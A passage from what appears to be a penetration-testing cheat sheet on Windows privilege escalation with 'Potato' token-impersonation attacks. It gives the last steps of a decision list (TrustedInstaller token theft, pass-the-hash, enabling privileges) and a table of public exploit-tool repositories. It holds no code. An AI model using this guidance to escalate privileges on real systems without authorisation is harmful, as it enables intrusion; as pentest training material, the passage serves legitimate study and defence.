7. Need TrustedInstaller? → SYSTEM first, then start+steal the
TrustedInstaller service token (two-hop)
8. Have creds/hash but not a shell? → make_token (network-only) or pth (Pass-the-Hash)
instead of dropping a Potato binary at all
9. whoami /priv shows "Disabled"? → AdjustTokenPrivileges / Enable-Privilege first —
a listed privilege does nothing until enabled
Correct exploit = f(OS version, patch level, running services, privileges, domain context)
The Potato family isn't one technique — it's a category of token impersonation attacks, each targeting a different SYSTEM-level service or interface for coercion. When one fails, another will often succeed. Always enumerate services and privilege state before picking a tool.
11. References
| Tool | Repository |
|---|---|
| RottenPotato | https://github.com/foxglovesec/RottenPotato |
| JuicyPotato | https://github.com/ohpe/juicy-potato |
| JuicyPotato CLSIDs | https://github.com/ohpe/juicy-potato/tree/master/CLSID |
| RoguePotato | https://github.com/antonioCoco/RoguePotato |
| RemotePotato0 | https://github.com/antonioCoco/RemotePotato0 |
| PrintSpoofer | https://github.com/itm4n/PrintSpoofer |
| SweetPotato | https://github.com/CCob/SweetPotato |
| GodPotato | https://github.com/BeichenDream/GodPotato |
| EfsPotato | https://github.com/zcgonvh/EfsPotato |
| LocalPotato | https://github.com/decoder-it/LocalPotato |
| MultiPotato | https://github.com/S3cur3Th1sSh1t/MultiPotato |
| GenericPotato | https://github.com/micahvandeusen/GenericPotato |
| ADCSCoercePotato | https://github.com/decoder-it/adcscoercepotato |
| PetitPotam (original) | https://github.com/topotam/PetitPotam |
| SeBackupPrivilege tooling | https://github.com/giuliano108/SeBackupPrivilege |